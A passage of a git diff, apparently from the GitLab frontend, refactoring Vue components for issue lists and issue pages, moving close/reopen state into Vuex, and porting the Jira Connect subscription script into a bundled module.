- }}<gl-icon v-if="isIssuableUrlExternal" name="external-link" class="gl-ml-2"
- /></gl-link>
- </span>
- </div>
- <div class="issuable-info">
- <slot v-if="hasSlotContents('reference')" name="reference"></slot>
- <span v-else data-testid="issuable-reference" class="issuable-reference"
- >{{ issuableSymbol }}{{ issuable.iid }}</span
- >
- <span class="issuable-authored d-none d-sm-inline-block">
- &middot;
- <span
- v-gl-tooltip:tooltipcontainer.bottom
- data-testid="issuable-created-at"
- :title="tooltipTitle(issuable.createdAt)"
- >{{ createdAt }}</span
- >
- {{ __('by') }}
- <slot v-if="hasSlotContents('author')" name="author"></slot>
- <gl-link
- v-else
- :data-user-id="authorId"
- :data-username="author.username"
- :data-name="author.name"
- :data-avatar-url="author.avatarUrl"
- :href="author.webUrl"
- data-testid="issuable-author"
- class="author-link js-user-link"
- >
- <span class="author">{{ author.name }}</span>
- </gl-link>
- </span>
- <slot name="timeframe"></slot>
- &nbsp;
- <gl-label
- v-for="(label, index) in labels"
- :key="index"
- :background-color="label.color"
- :title="labelTitle(label)"
- :description="label.description"
- :scoped="scopedLabel(label)"
- :target="labelTarget(label)"
- :class="{ 'gl-ml-2': index }"
- size="sm"
- />
- </div>
+ <div class="issuable-main-info">
+ <div data-testid="issuable-title" class="issue-title title">
+ <span class="issue-title-text" dir="auto">
+ <gl-link :href="issuable.webUrl" v-bind="issuableTitleProps"
+ >{{ issuable.title
+ }}<gl-icon v-if="isIssuableUrlExternal" name="external-link" class="gl-ml-2"
+ /></gl-link>
+ </span>
</div>
- <div class="issuable-meta">
- <ul v-if="showIssuableMeta" class="controls">
- <li v-if="hasSlotContents('status')" class="issuable-status">
- <slot name="status"></slot>
- </li>
- <li
- v-if="showDiscussions"
- data-testid="issuable-discussions"
- class="issuable-comments gl-display-none gl-display-sm-block"
- >
- <gl-link
- v-gl-tooltip:tooltipcontainer.top
- :title="__('Comments')"
- :href="`${issuable.webUrl}#notes`"
- :class="{ 'no-comments': !issuable.userDiscussionsCount }"
- class="gl-reset-color!"
- >
- <gl-icon name="comments" />
- {{ issuable.userDiscussionsCount }}
- </gl-link>
- </li>
- <li v-if="assignees.length" class="gl-display-flex">
- <issuable-assignees
- :assignees="issuable.assignees"
- :icon-size="16"
- :max-visible="4"
- img-css-classes="gl-mr-2!"
- class="gl-align-items-center gl-display-flex gl-ml-3"
- />
- </li>
- </ul>
- <div
- data-testid="issuable-updated-at"
- class="float-right issuable-updated-at d-none d-sm-inline-block"
+ <div class="issuable-info">
+ <slot v-if="hasSlotContents('reference')" name="reference"></slot>
+ <span v-else data-testid="issuable-reference" class="issuable-reference"
+ >{{ issuableSymbol }}{{ issuable.iid }}</span
>
+ <span class="issuable-authored d-none d-sm-inline-block">
+ &middot;
<span
v-gl-tooltip:tooltipcontainer.bottom
- :title="tooltipTitle(issuable.updatedAt)"
- class="issuable-updated-at"
- >{{ updatedAt }}</span
+ data-testid="issuable-created-at"
+ :title="tooltipTitle(issuable.createdAt)"
+ >{{ createdAt }}</span
+ >
+ {{ __('by') }}
+ <slot v-if="hasSlotContents('author')" name="author"></slot>
+ <gl-link
+ v-else
+ :data-user-id="authorId"
+ :data-username="author.username"
+ :data-name="author.name"
+ :data-avatar-url="author.avatarUrl"
+ :href="author.webUrl"
+ data-testid="issuable-author"
+ class="author-link js-user-link"
+ >
+ <span class="author">{{ author.name }}</span>
+ </gl-link>
+ </span>
+ <slot name="timeframe"></slot>
+ &nbsp;
+ <gl-label
+ v-for="(label, index) in labels"
+ :key="index"
+ :background-color="label.color"
+ :title="labelTitle(label)"
+ :description="label.description"
+ :scoped="scopedLabel(label)"
+ :target="labelTarget(label)"
+ :class="{ 'gl-ml-2': index }"
+ size="sm"
+ />
+ </div>
+ </div>
+ <div class="issuable-meta">
+ <ul v-if="showIssuableMeta" class="controls">
+ <li v-if="hasSlotContents('status')" class="issuable-status">
+ <slot name="status"></slot>
+ </li>
+ <li
+ v-if="showDiscussions"
+ data-testid="issuable-discussions"
+ class="issuable-comments gl-display-none gl-display-sm-block"
+ >
+ <gl-link
+ v-gl-tooltip:tooltipcontainer.top
+ :title="__('Comments')"
+ :href="`${issuable.webUrl}#notes`"
+ :class="{ 'no-comments': !issuable.userDiscussionsCount }"
+ class="gl-reset-color!"
>
- </div>
+ <gl-icon name="comments" />
+ {{ issuable.userDiscussionsCount }}
+ </gl-link>
+ </li>
+ <li v-if="assignees.length" class="gl-display-flex">
+ <issuable-assignees
+ :assignees="issuable.assignees"
+ :icon-size="16"
+ :max-visible="4"
+ img-css-classes="gl-mr-2!"
+ class="gl-align-items-center gl-display-flex gl-ml-3"
+ />
+ </li>
+ </ul>
+ <div
+ data-testid="issuable-updated-at"
+ class="float-right issuable-updated-at d-none d-sm-inline-block"
+ >
+ <span
+ v-gl-tooltip:tooltipcontainer.bottom
+ :title="tooltipTitle(issuable.updatedAt)"
+ class="issuable-updated-at"
+ >{{ updatedAt }}</span
+ >
</div>
</div>
</div>
diff --git a/app/assets/javascripts/issuable_show/components/issuable_body.vue b/app/assets/javascripts/issuable_show/components/issuable_body.vue
index e6a05c1ab8b..c084f328f42 100644
--- a/app/assets/javascripts/issuable_show/components/issuable_body.vue
+++ b/app/assets/javascripts/issuable_show/components/issuable_body.vue
@@ -36,10 +36,18 @@ export default {
type: Boolean,
required: true,
},
+ enableAutosave: {
+ type: Boolean,
+ required: true,
+ },
editFormVisible: {
type: Boolean,
required: true,
},
+ showFieldTitle: {
+ type: Boolean,
+ required: true,
+ },
descriptionPreviewPath: {
type: String,
required: true,
@@ -57,6 +65,14 @@ export default {
return this.issuable.updatedBy;
},
},
+ methods: {
+ handleKeydownTitle(e, issuableMeta) {
+ this.$emit('keydown-title', e, issuableMeta);
+ },
+ handleKeydownDescription(e, issuableMeta) {
+ this.$emit('keydown-description', e, issuableMeta);
+ },
+ },
};
</script>
@@ -67,8 +83,12 @@ export default {
v-if="editFormVisible"
:issuable="issuable"
:enable-autocomplete="enableAutocomplete"
+ :enable-autosave="enableAutosave"
+ :show-field-title="showFieldTitle"
:description-preview-path="descriptionPreviewPath"
:description-help-path="descriptionHelpPath"
+ @keydown-title="handleKeydownTitle"
+ @keydown-description="handleKeydownDescription"
>
<template #edit-form-actions="issuableMeta">
<slot name="edit-form-actions" v-bind="issuableMeta"></slot>
diff --git a/app/assets/javascripts/issuable_show/components/issuable_edit_form.vue b/app/assets/javascripts/issuable_show/components/issuable_edit_form.vue
index 7b9a83a740f..93e4db8b99c 100644
--- a/app/assets/javascripts/issuable_show/components/issuable_edit_form.vue
+++ b/app/assets/javascripts/issuable_show/components/issuable_edit_form.vue
@@ -23,6 +23,14 @@ export default {
type: Boolean,
required: true,
},
+ enableAutosave: {
+ type: Boolean,
+ required: true,
+ },
+ showFieldTitle: {
+ type: Boolean,
+ required: true,
+ },
descriptionPreviewPath: {
type: String,
required: true,
@@ -33,19 +41,27 @@ export default {
},
},
data() {
- const { title, description } = this.issuable;
-
return {
- title,
- description,
+ title: '',
+ description: '',
};
},
+ watch: {
+ issuable: {
+ handler(value) {
+ this.title = value?.title || '';
+ this.description = value?.description || '';
+ },
+ deep: true,
+ immediate: true,
+ },
+ },
created() {
eventHub.$on('update.issuable', this.resetAutosave);
eventHub.$on('close.form', this.resetAutosave);
},
mounted() {
- this.initAutosave();
+ if (this.enableAutosave) this.initAutosave();
},
beforeDestroy() {
eventHub.$off('update.issuable', this.resetAutosave);
@@ -73,6 +89,12 @@ export default {
this.autosaveTitle.reset();
this.autosaveDescription.reset();
},
+ handleKeydown(e, inputType) {
+ this.$emit(`keydown-${inputType}`, e, {
+ issuableTitle: this.title,
+ issuableDescription: this.description,
+ });
+ },
},
};
</script>
@@ -82,9 +104,9 @@ export default {
<gl-form-group
data-testid="title"
:label="__('Title')"
- :label-sr-only="true"
+ :label-sr-only="!showFieldTitle"
label-for="issuable-title"
- class="col-12"
+ class="col-12 gl-px-0"
>
<gl-form-input
id="issuable-title"
@@ -94,14 +116,16 @@ export default {
:aria-label="__('Title')"
:autofocus="true"
class="qa-title-input"
+ @keydown="handleKeydown($event, 'title')"
/>
</gl-form-group>
<gl-form-group
data-testid="description"
:label="__('Description')"
- :label-sr-only="true"
+ :label-sr-only="!showFieldTitle"
label-for="issuable-description"
- class="col-12 common-note-form"
+ label-class="gl-pb-0!"
+ class="col-12 gl-px-0 common-note-form"
>
<markdown-field
:markdown-preview-path="descriptionPreviewPath"
@@ -120,11 +144,12 @@ export default {
class="note-textarea js-gfm-input js-autosize markdown-area
qa-description-textarea"
dir="auto"
+ @keydown="handleKeydown($event, 'description')"
></textarea>
</template>
</markdown-field>
</gl-form-group>
- <div data-testid="actions" class="col-12 gl-mt-3 gl-mb-3 clearfix">
+ <div data-testid="actions" class="col-12 gl-mt-3 gl-mb-3 gl-px-0 clearfix">
<slot
name="edit-form-actions"
:issuable-title="title"
diff --git a/app/assets/javascripts/issuable_show/components/issuable_header.vue b/app/assets/javascripts/issuable_show/components/issuable_header.vue
index 3815c50cac6..5404753631d 100644
--- a/app/assets/javascripts/issuable_show/components/issuable_header.vue
+++ b/app/assets/javascripts/issuable_show/components/issuable_header.vue
@@ -112,7 +112,7 @@ export default {
</div>
<div
data-testid="header-actions"
- class="detail-page-header-actions js-issuable-actions js-issuable-buttons gl-display-flex gl-display-md-block"
+ class="detail-page-header-actions gl-display-flex gl-display-md-block"
>
<slot name="header-actions"></slot>
</div>
diff --git a/app/assets/javascripts/issuable_show/components/issuable_show_root.vue b/app/assets/javascripts/issuable_show/components/issuable_show_root.vue
index b41f5e270a8..2443338e8c4 100644
--- a/app/assets/javascripts/issuable_show/components/issuable_show_root.vue
+++ b/app/assets/javascripts/issuable_show/components/issuable_show_root.vue
@@ -35,11 +35,21 @@ export default {
required: false,
default: false,
},
+ enableAutosave: {
+ type: Boolean,
+ required: false,
+ default: true,
+ },
editFormVisible: {
type: Boolean,
required: false,
default: false,
},
+ showFieldTitle: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
descriptionPreviewPath: {
type: String,
required: false,
@@ -51,6 +61,14 @@ export default {
default: '',
},
},
+ methods: {
+ handleKeydownTitle(e, issuableMeta) {
+ this.$emit('keydown-title', e, issuableMeta);
+ },
+ handleKeydownDescription(e, issuableMeta) {
+ this.$emit('keydown-description', e, issuableMeta);
+ },
+ },
};
</script>
@@ -77,10 +95,14 @@ export default {
:status-icon="statusIcon"
:enable-edit="enableEdit"
:enable-autocomplete="enableAutocomplete"
+ :enable-autosave="enableAutosave"
:edit-form-visible="editFormVisible"
+ :show-field-title="showFieldTitle"
:description-preview-path="descriptionPreviewPath"
:description-help-path="descriptionHelpPath"
@edit-issuable="$emit('edit-issuable', $event)"
+ @keydown-title="handleKeydownTitle"
+ @keydown-description="handleKeydownDescription"
>
<template #status-badge>
<slot name="status-badge"></slot>
diff --git a/app/assets/javascripts/issue.js b/app/assets/javascripts/issue.js
index f65d9259e7b..5d2880c3c10 100644
--- a/app/assets/javascripts/issue.js
+++ b/app/assets/javascripts/issue.js
@@ -1,41 +1,22 @@
-/* eslint-disable consistent-return */
-
import $ from 'jquery';
import axios from './lib/utils/axios_utils';
import { addDelimiter } from './lib/utils/text_utility';
import { deprecatedCreateFlash as flash } from './flash';
import CreateMergeRequestDropdown from './create_merge_request_dropdown';
-import IssuablesHelper from './helpers/issuables_helper';
import { joinPaths } from '~/lib/utils/url_utility';
import { __ } from './locale';
export default class Issue {
constructor() {
- if ($('.btn-close, .btn-reopen').length) this.initIssueBtnEventListeners();
-
- if ($('.js-close-blocked-issue-warning').length) this.initIssueWarningBtnEventListener();
-
if ($('.js-alert-moved-from-service-desk-warning').length) {
- const trimmedPathname = window.location.pathname.slice(1);
- this.alertMovedFromServiceDeskDismissedKey = joinPaths(
- trimmedPathname,
- 'alert-issue-moved-from-service-desk-dismissed',
- );
-
- this.initIssueMovedFromServiceDeskDismissHandler();
+ Issue.initIssueMovedFromServiceDeskDismissHandler();
}
- Issue.$btnNewBranch = $('#new-branch');
- Issue.createMrDropdownWrap = document.querySelector('.create-mr-dropdown-wrap');
-
if (document.querySelector('#related-branches')) {
Issue.initRelatedBranches();
}
- this.closeButtons = $('.btn-close');
- this.reopenButtons = $('.btn-reopen');
-
- this.initCloseReopenReport();
+ Issue.createMrDropdownWrap = document.querySelector('.create-mr-dropdown-wrap');
if (Issue.createMrDropdownWrap) {
this.createMergeRequestDropdown = new CreateMergeRequestDropdown(Issue.createMrDropdownWrap);
@@ -71,7 +52,6 @@ export default class Issue {
isOpenBadge.toggleClass('hidden', isClosed);
$(document).trigger('issuable:change', isClosed);
- this.toggleCloseReopenButton(isClosed);
let numProjectIssues = Number(
projectIssuesCounter
@@ -91,104 +71,16 @@ export default class Issue {
}
}
- initIssueBtnEventListeners() {
- const issueFailMessage = __('Unable to update this issue at this time.');
-
- $('.report-abuse-link').on('click', e => {
- // this is needed because of the implementation of
- // the dropdown toggle and Report Abuse needing to be
- // linked to another page.
- e.stopPropagation();
- });
-
- // NOTE: data attribute seems unnecessary but is actually necessary
- return $('.js-issuable-buttons[data-action="close-reopen"]').on(
- 'click',
- '.btn-close, .btn-reopen, .btn-close-anyway',
- e => {
- e.preventDefault();
- e.stopImmediatePropagation();
- const $button = $(e.currentTarget);
- const shouldSubmit = $button.hasClass('btn-comment');
- if (shouldSubmit) {
- Issue.submitNoteForm($button.closest('form'));
- }
-
- const shouldDisplayBlockedWarning = $button.hasClass('btn-issue-blocked');
- const warningBanner = $('.js-close-blocked-issue-warning');
- if (shouldDisplayBlockedWarning) {
- this.toggleWarningAndCloseButton();
- } else {
- this.disableCloseReopenButton($button);
-
- const url = $button.data('endpoint');
-
- return axios
- .put(url)
- .then(({ data }) => {
- const isClosed = $button.is('.btn-close, .btn-close-anyway');
- this.updateTopState(isClosed, data);
- if ($button.hasClass('btn-close-anyway')) {
- warningBanner.addClass('hidden');
- if (this.closeReopenReportToggle)
- $('.js-issuable-close-dropdown').removeClass('hidden');
- }
- })
- .catch(() => flash(issueFailMessage))
- .then(() => {
- this.disableCloseReopenButton($button, false);
- });
- }
- },
- );
- }
-
- initCloseReopenReport() {
- this.closeReopenReportToggle = IssuablesHelper.initCloseReopenReport();
-
- if (this.closeButtons) this.closeButtons = this.closeButtons.not('.issuable-close-button');
- if (this.reopenButtons) this.reopenButtons = this.reopenButtons.not('.issuable-close-button');
- }
-
- disableCloseReopenButton($button, shouldDisable) {
- if (this.closeReopenReportToggle) {
- this.closeReopenReportToggle.setDisable(shouldDisable);
- } else {
- $button.prop('disabled', shouldDisable);
- }
- }
-
- toggleCloseReopenButton(isClosed) {
- if (this.closeReopenReportToggle) this.closeReopenReportToggle.updateButton(isClosed);
- this.closeButtons.toggleClass('hidden', isClosed);
- this.reopenButtons.toggleClass('hidden', !isClosed);
- }
-
- toggleWarningAndCloseButton() {
- const warningBanner = $('.js-close-blocked-issue-warning');
- warningBanner.toggleClass('hidden');
- $('.btn-close').toggleClass('hidden');
- if (this.closeReopenReportToggle) {
- $('.js-issuable-close-dropdown').toggleClass('hidden');
- }
- }
+ static initIssueMovedFromServiceDeskDismissHandler() {
+ const alertMovedFromServiceDeskWarning = $('.js-alert-moved-from-service-desk-warning');
- initIssueWarningBtnEventListener() {
- return $(document).on(
- 'click',
- '.js-close-blocked-issue-warning .js-cancel-blocked-issue-warning',
- e => {
- e.preventDefault();
- e.stopImmediatePropagation();
- this.toggleWarningAndCloseButton();
- },
+ const trimmedPathname = window.location.pathname.slice(1);
+ const alertMovedFromServiceDeskDismissedKey = joinPaths(
+ trimmedPathname,
+ 'alert-issue-moved-from-service-desk-dismissed',
);
- }
- initIssueMovedFromServiceDeskDismissHandler() {
- const alertMovedFromServiceDeskWarning = $('.js-alert-moved-from-service-desk-warning');
-
- if (!localStorage.getItem(this.alertMovedFromServiceDeskDismissedKey)) {
+ if (!localStorage.getItem(alertMovedFromServiceDeskDismissedKey)) {
alertMovedFromServiceDeskWarning.show();
}
@@ -196,20 +88,13 @@ export default class Issue {
e.preventDefault();
e.stopImmediatePropagation();
alertMovedFromServiceDeskWarning.remove();
- localStorage.setItem(this.alertMovedFromServiceDeskDismissedKey, true);
+ localStorage.setItem(alertMovedFromServiceDeskDismissedKey, true);
});
}
- static submitNoteForm(form) {
- const noteText = form.find('textarea.js-note-text').val();
- if (noteText && noteText.trim().length > 0) {
- return form.submit();
- }
- }
-
static initRelatedBranches() {
const $container = $('#related-branches');
- return axios
+ axios
.get($container.data('url'))
.then(({ data }) => {
if ('html' in data) {
diff --git a/app/assets/javascripts/issue_show/components/fields/description_template.vue b/app/assets/javascripts/issue_show/components/fields/description_template.vue
index 8a1a8448bb8..ea6e03404e7 100644
--- a/app/assets/javascripts/issue_show/components/fields/description_template.vue
+++ b/app/assets/javascripts/issue_show/components/fields/description_template.vue
@@ -61,11 +61,7 @@ export default {
data-toggle="dropdown"
>
<span class="dropdown-toggle-text">{{ __('Choose a template') }}</span>
- <gl-icon
- name="chevron-down"
- class="gl-absolute gl-top-3 gl-right-3 gl-text-gray-500"
- aria-hidden="true"
- />
+ <gl-icon name="chevron-down" class="gl-absolute gl-top-3 gl-right-3 gl-text-gray-500" />
</button>
<div class="dropdown-menu dropdown-select">
<div class="dropdown-title gl-display-flex gl-justify-content-center">
@@ -75,7 +71,7 @@ export default {
:aria-label="__('Close')"
type="button"
>
- <gl-icon name="close" class="dropdown-menu-close-icon" :aria-hidden="true" />
+ <gl-icon name="close" class="dropdown-menu-close-icon" />
</button>
</div>
<div class="dropdown-input">
@@ -85,7 +81,7 @@ export default {
:placeholder="__('Filter')"
autocomplete="off"
/>
- <gl-icon name="search" class="dropdown-input-search" aria-hidden="true" />
+ <gl-icon name="search" class="dropdown-input-search" />
<gl-icon
name="close"
class="dropdown-input-clear js-dropdown-input-clear"
diff --git a/app/assets/javascripts/issue_show/components/header_actions.vue b/app/assets/javascripts/issue_show/components/header_actions.vue
index 4c8c86390f4..998f740be0e 100644
--- a/app/assets/javascripts/issue_show/components/header_actions.vue
+++ b/app/assets/javascripts/issue_show/components/header_actions.vue
@@ -1,12 +1,13 @@
<script>
import { GlButton, GlDropdown, GlDropdownItem, GlIcon, GlLink, GlModal } from '@gitlab/ui';
-import { mapGetters } from 'vuex';
+import { mapActions, mapGetters, mapState } from 'vuex';
import createFlash, { FLASH_TYPES } from '~/flash';
import { IssuableType } from '~/issuable_show/constants';
import { IssuableStatus, IssueStateEvent } from '~/issue_show/constants';
import { capitalizeFirstCharacter } from '~/lib/utils/text_utility';
import { visitUrl } from '~/lib/utils/url_utility';
import { __, sprintf } from '~/locale';
+import eventHub from '~/notes/event_hub';
import promoteToEpicMutation from '../queries/promote_to_epic.mutation.graphql';
import updateIssueMutation from '../queries/update_issue.mutation.graphql';
@@ -72,15 +73,11 @@ export default {
default: '',
},
},
- data() {
- return {
- isUpdatingState: false,
- };
- },
computed: {
- ...mapGetters(['getNoteableData']),
+ ...mapState(['isToggleStateButtonLoading']),
+ ...mapGetters(['openState', 'getBlockedByIssues']),
isClosed() {
- return this.getNoteableData.state === IssuableStatus.Closed;
+ return this.openState === IssuableStatus.Closed;
},
buttonText() {
return this.isClosed
@@ -107,9 +104,16 @@ export default {
return canClose || canReopen;
},
},
+ created() {
+ eventHub.$on('toggle.issuable.state', this.toggleIssueState);
+ },
+ beforeDestroy() {
+ eventHub.$off('toggle.issuable.state', this.toggleIssueState);
+ },
methods: {
+ ...mapActions(['toggleStateButtonLoading']),
toggleIssueState() {
- if (!this.isClosed && this.getNoteableData?.blocked_by_issues?.length) {
+ if (!this.isClosed && this.getBlockedByIssues?.length) {
this.$refs.blockedByIssuesModal.show();
return;
}
@@ -117,7 +121,7 @@ export default {
this.invokeUpdateIssueMutation();
},
invokeUpdateIssueMutation() {
- this.isUpdatingState = true;
+ this.toggleStateButtonLoading(true);
this.$apollo
.mutate({
@@ -146,13 +150,13 @@ export default {
// Dispatch event which updates open/close state, shared among the issue show page
document.dispatchEvent(new CustomEvent('issuable_vue_app:change', payload));
})
- .catch(() => createFlash({ message: __('Update failed. Please try again.') }))
+ .catch(() => createFlash({ message: __('Error occurred while updating the issue status') }))
.finally(() => {
- this.isUpdatingState = false;
+ this.toggleStateButtonLoading(false);
});
},
promoteToEpic() {
- this.isUpdatingState = true;
+ this.toggleStateButtonLoading(true);
this.$apollo
.mutate({
@@ -179,7 +183,7 @@ export default {
})
.catch(() => createFlash({ message: this.$options.i18n.promoteErrorMessage }))
.finally(() => {
- this.isUpdatingState = false;
+ this.toggleStateButtonLoading(false);
});
},
},
@@ -188,18 +192,19 @@ export default {
<template>
<div class="detail-page-header-actions">
- <gl-dropdown class="gl-display-block gl-display-sm-none!" block :text="dropdownText">
- <gl-dropdown-item
- v-if="showToggleIssueStateButton"
- :disabled="isUpdatingState"
- @click="toggleIssueState"
- >
+ <gl-dropdown
+ class="gl-display-block gl-display-sm-none!"
+ block
+ :text="dropdownText"
+ :loading="isToggleStateButtonLoading"
+ >
+ <gl-dropdown-item v-if="showToggleIssueStateButton" @click="toggleIssueState">
{{ buttonText }}
</gl-dropdown-item>
<gl-dropdown-item v-if="canCreateIssue" :href="newIssuePath">
{{ newIssueTypeText }}
</gl-dropdown-item>
- <gl-dropdown-item v-if="canPromoteToEpic" :disabled="isUpdatingState" @click="promoteToEpic">
+ <gl-dropdown-item v-if="canPromoteToEpic" @click="promoteToEpic">
{{ __('Promote to epic') }}
</gl-dropdown-item>
<gl-dropdown-item v-if="!isIssueAuthor" :href="reportAbusePath">
@@ -220,7 +225,7 @@ export default {
class="gl-display-none gl-display-sm-inline-flex!"
category="secondary"
:data-qa-selector="qaSelector"
- :loading="isUpdatingState"
+ :loading="isToggleStateButtonLoading"
:variant="buttonVariant"
@click="toggleIssueState"
>
@@ -234,7 +239,7 @@ export default {
right
>
<template #button-content>
- <gl-icon name="ellipsis_v" aria-hidden="true" />
+ <gl-icon name="ellipsis_v" />
<span class="gl-sr-only">{{ dropdownText }}</span>
</template>
@@ -243,7 +248,7 @@ export default {
</gl-dropdown-item>
<gl-dropdown-item
v-if="canPromoteToEpic"
- :disabled="isUpdatingState"
+ :disabled="isToggleStateButtonLoading"
data-testid="promote-button"
@click="promoteToEpic"
>
@@ -272,7 +277,7 @@ export default {
>
<p>{{ __('This issue is currently blocked by the following issues:') }}</p>
<ul>
- <li v-for="issue in getNoteableData.blocked_by_issues" :key="issue.iid">
+ <li v-for="issue in getBlockedByIssues" :key="issue.iid">
<gl-link :href="issue.web_url">#{{ issue.iid }}</gl-link>
</li>
</ul>
diff --git a/app/assets/javascripts/issue_show/utils/parse_data.js b/app/assets/javascripts/issue_show/utils/parse_data.js
index 620974901fb..12f38005366 100644
--- a/app/assets/javascripts/issue_show/utils/parse_data.js
+++ b/app/assets/javascripts/issue_show/utils/parse_data.js
@@ -4,13 +4,11 @@ import { sanitize } from '~/lib/dompurify';
// We currently load + parse the data from the issue app and related merge request
let cachedParsedData;
-export const parseIssuableData = () => {
+export const parseIssuableData = el => {
try {
if (cachedParsedData) return cachedParsedData;
- const initialDataEl = document.getElementById('js-issuable-app');
-
- const parsedData = JSON.parse(initialDataEl.dataset.initial);
+ const parsedData = JSON.parse(el.dataset.initial);
parsedData.initialTitleHtml = sanitize(parsedData.initialTitleHtml);
parsedData.initialDescriptionHtml = sanitize(parsedData.initialDescriptionHtml);
@@ -23,5 +21,3 @@ export const parseIssuableData = () => {
return {};
}
};
-
-export default {};
diff --git a/app/assets/javascripts/issues_list/components/issuable.vue b/app/assets/javascripts/issues_list/components/issuable.vue
index b12b20d0135..16f8e67cde0 100644
--- a/app/assets/javascripts/issues_list/components/issuable.vue
+++ b/app/assets/javascripts/issues_list/components/issuable.vue
@@ -35,6 +35,7 @@ export default {
i18n: {
openedAgo: __('opened %{timeAgoString} by %{user}'),
openedAgoJira: __('opened %{timeAgoString} by %{user} in Jira'),
+ openedAgoServiceDesk: __('opened %{timeAgoString} by %{email} via %{user}'),
},
inject: ['scopedLabelsAvailable'],
components: {
@@ -206,6 +207,11 @@ export default {
healthStatus() {
return convertToCamelCase(this.issuable.health_status);
},
+ openedMessage() {
+ if (this.isJiraIssue) return this.$options.i18n.openedAgoJira;
+ if (this.issuable.service_desk_reply_to) return this.$options.i18n.openedAgoServiceDesk;
+ return this.$options.i18n.openedAgo;
+ },
},
mounted() {
// TODO: Refactor user popover to use its own component instead of
@@ -311,9 +317,7 @@ export default {
<span data-testid="openedByMessage" class="gl-display-none d-sm-inline-block gl-mr-4">
&middot;
- <gl-sprintf
- :message="isJiraIssue ? $options.i18n.openedAgoJira : $options.i18n.openedAgo"
- >
+ <gl-sprintf :message="openedMessage">
<template #timeAgoString>
<span>{{ issuableCreatedAt }}</span>
</template>
@@ -326,6 +330,9 @@ export default {
>{{ issuableAuthor.name }}</gl-link
>
</template>
+ <template #email>
+ <span>{{ issuable.service_desk_reply_to }}</span>
+ </template>
</gl-sprintf>
</span>
diff --git a/app/assets/javascripts/issues_list/components/issuables_list_app.vue b/app/assets/javascripts/issues_list/components/issuables_list_app.vue
index 0d4f5bce965..0ce2bcc1cce 100644
--- a/app/assets/javascripts/issues_list/components/issuables_list_app.vue
+++ b/app/assets/javascripts/issues_list/components/issuables_list_app.vue
@@ -215,6 +215,7 @@ export default {
this.fetchIssuables();
},
beforeDestroy() {
+ // eslint-disable-next-line @gitlab/no-global-event-off
issueableEventHub.$off('issuables:toggleBulkEdit');
},
methods: {
diff --git a/app/assets/javascripts/jira_connect.js b/app/assets/javascripts/jira_connect.js
deleted file mode 100644
index 0864a3024ac..00000000000
--- a/app/assets/javascripts/jira_connect.js
+++ /dev/null
@@ -1,63 +0,0 @@
-/* eslint-disable func-names, no-var, no-alert */
-/* global $ */
-/* global AP */
-
-/**
- * This script is not going through Webpack bundling
- * as it is only included in `app/views/jira_connect/subscriptions/index.html.haml`
- * which is going to be rendered within iframe on Jira app dashboard
- * hence any code written here needs to be IE11+ compatible (no fully ES6)
- */
-
-function onLoaded() {
- var reqComplete = function() {
- AP.navigator.reload();
- };
-
- var reqFailed = function(res) {
- alert(res.responseJSON.error);
- };
-
- AP.getLocation(function(location) {
- $('.js-jira-connect-sign-in').each(function() {
- var updatedLink = `${$(this).attr('href')}?return_to=${location}`;
- $(this).attr('href', updatedLink);
- });
- });
-
- $('#add-subscription-form').on('submit', function(e) {
- var actionUrl = $(this).attr('action');
- e.preventDefault();
-
- AP.context.getToken(function(token) {
- // eslint-disable-next-line no-jquery/no-ajax
- $.post(actionUrl, {
- jwt: token,
- namespace_path: $('#namespace-input').val(),
- format: 'json',
- })
- .done(reqComplete)
- .fail(reqFailed);
- });
- });
-
- $('.remove-subscription').on('click', function(e) {
- var href = $(this).attr('href');
- e.preventDefault();
-
- AP.context.getToken(function(token) {
- // eslint-disable-next-line no-jquery/no-ajax
- $.ajax({
- url: href,
- method: 'DELETE',
- data: {
- jwt: token,
- format: 'json',
- },
- })
- .done(reqComplete)
- .fail(reqFailed);
- });
- });
-}
-document.addEventListener('DOMContentLoaded', onLoaded);
diff --git a/app/assets/javascripts/jira_connect/components/app.vue b/app/assets/javascripts/jira_connect/components/app.vue
index 6d32ba41eae..490bf2fdd66 100644
--- a/app/assets/javascripts/jira_connect/components/app.vue
+++ b/app/assets/javascripts/jira_connect/components/app.vue
@@ -1,7 +1,16 @@
<script>
-export default {};
+export default {
+ name: 'JiraConnectApp',
+ computed: {
+ state() {
+ return this.$root.$data.state || {};
+ },
+ error() {
+ return this.state.error;
+ },
+ },
+};
</script>
-
<template>
<div></div>
</template>
diff --git a/app/assets/javascripts/jira_connect/index.js b/app/assets/javascripts/jira_connect/index.js
index 37f00d56a05..e7aa4c437bb 100644
--- a/app/assets/javascripts/jira_connect/index.js
+++ b/app/assets/javascripts/jira_connect/index.js
@@ -1,11 +1,85 @@
import Vue from 'vue';
+import $ from 'jquery';
import App from './components/app.vue';
+const store = {
+ state: {
+ error: '',
+ },
+ setErrorMessage(errorMessage) {
+ this.state.error = errorMessage;
+ },
+};
+
+/**
+ * Initialize necessary form handlers for the Jira Connect app
+ */
+const initJiraFormHandlers = () => {
+ const reqComplete = () => {
+ AP.navigator.reload();
+ };
+
+ const reqFailed = (res, fallbackErrorMessage) => {
+ const { responseJSON: { error = fallbackErrorMessage } = {} } = res || {};
+
+ store.setErrorMessage(error);
+ // eslint-disable-next-line no-alert
+ alert(error);
+ };
+
+ AP.getLocation(location => {
+ $('.js-jira-connect-sign-in').each(function updateSignInLink() {
+ const updatedLink = `${$(this).attr('href')}?return_to=${location}`;
+ $(this).attr('href', updatedLink);
+ });
+ });
+
+ $('#add-subscription-form').on('submit', function onAddSubscriptionForm(e) {
+ const actionUrl = $(this).attr('action');
+ e.preventDefault();
+
+ AP.context.getToken(token => {
+ // eslint-disable-next-line no-jquery/no-ajax
+ $.post(actionUrl, {
+ jwt: token,
+ namespace_path: $('#namespace-input').val(),
+ format: 'json',
+ })
+ .done(reqComplete)
+ .fail(err => reqFailed(err, 'Failed to add namespace. Please try again.'));
+ });
+ });
+
+ $('.remove-subscription').on('click', function onRemoveSubscriptionClick(e) {
+ const href = $(this).attr('href');
+ e.preventDefault();
+
+ AP.context.getToken(token => {
+ // eslint-disable-next-line no-jquery/no-ajax
+ $.ajax({
+ url: href,
+ method: 'DELETE',
+ data: {
+ jwt: token,
+ format: 'json',
+ },
+ })
+ .done(reqComplete)
+ .fail(err => reqFailed(err, 'Failed to remove namespace. Please try again.'));
+ });
+ });
+};
+
function initJiraConnect() {
const el = document.querySelector('.js-jira-connect-app');
+ initJiraFormHandlers();
+
return new Vue({
el,
+ data: {
+ state: store.state,
+ },
render(createElement) {
return createElement(App, {});
},
